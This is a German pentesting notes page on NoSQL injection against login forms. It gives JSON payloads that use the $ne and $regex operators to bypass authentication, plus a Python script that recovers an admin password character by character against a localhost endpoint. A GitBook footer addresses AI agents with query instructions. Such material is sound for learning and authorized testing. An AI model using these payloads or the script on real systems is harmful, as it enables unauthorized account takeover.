> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web-vulnerabilities/nosql-attack/nosql-injection-pentesting-web.md).

# NoSQL-Injektion

<figure><img src="/files/9163c25ec80f0d3709b1759c11581ada55bebfbe" alt="" width="563"><figcaption></figcaption></figure>

## Manuelle NoSQL-Injection mit Burp Suite

Fangen Sie die Login-Anfrage mit Burp Suite ab:

<figure><img src="/files/b4db70d69bdd2d4e2eb38aaa46c090c22664bbbb" alt=""><figcaption></figcaption></figure>

Wir können eine Anfrage in diesem Format senden, wenn wir wissen, dass der Benutzername **admin**, aber das **Passwort ist nicht bekannt** und ist nicht `admin`:

```json
{
  "username": "admin",
  "password": {
    "$ne": "admin"
  }
}

```

<figure><img src="/files/072248fde6d9721169af5598e9471a88fa785f8a" alt=""><figcaption></figcaption></figure>

Wir können eine Anfrage in diesem Format senden, wenn wir weder den **Benutzernamen** noch das **Passwort**:

```json
{
  "username": {
    "$ne": "ThisUserDoesNotExist"
  },
  "password": {
    "$ne": "admin"
  }
}

```

<figure><img src="/files/e2ae64c7666ef1eb8f072840bc865aa2e5e51640" alt=""><figcaption></figcaption></figure>

Wir können eine Anfrage mit diesem **Regex** senden, wenn wir wissen, wie der Benutzername **beginnt**; in diesem Fall mit dem Buchstaben `eine`:

```json
{
  "username": {
    "$regex": "^a"
  },
  "password": {
    "$ne": "admin"
  }
}

```

<figure><img src="/files/92990a45d3f809234fc4a0e29e6b68bc90560ec3" alt=""><figcaption></figcaption></figure>

## Python-Skript:

Das folgende Python-Skript automatisiert den Vorgang und ist darauf ausgelegt, das Passwort zu finden, wenn der Benutzername bekannt ist. *Passen Sie den Benutzernamen und die Ziel-URL für jede Situation an*:

<figure><img src="/files/feb85e608e795358b37ace15bc9384cd657f9f41" alt=""><figcaption></figcaption></figure>

```python
#!/usr/bin/python3
from pwn import *
import requests, time, sys, signal, string
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)
# NoSQL-Injection
signal.signal(signal.SIGINT, def_handler)
# NoSQL-Injection
login_url = "http://localhost:4000/user/login"
characters = string.ascii_lowercase + string.ascii_uppercase + string.digits
def makeNoSQLI():
    password = ""
    p1 = log.progress("Brute Force")
    p1.status("Der Brute-Force-Vorgang wird gestartet")
    time.sleep(2)
    p2 = log.progress("Passwort")
    for position in range(0, 100):
        for character in characters:
            post_data = '{"username":"admin","password":{"$regex":"^%s%s"}}' % (password, character)
            p1.status(post_data)
            headers = {'Content-Type': 'application/json'}
            r = requests.post(login_url, headers=headers, data=post_data)
            if "Als Benutzer eingeloggt" in r.text:
                password += character
                p2.status(password)
                break
if __name__ == '__main__':
    makeNoSQLI()

```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web-vulnerabilities/nosql-attack/nosql-injection-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
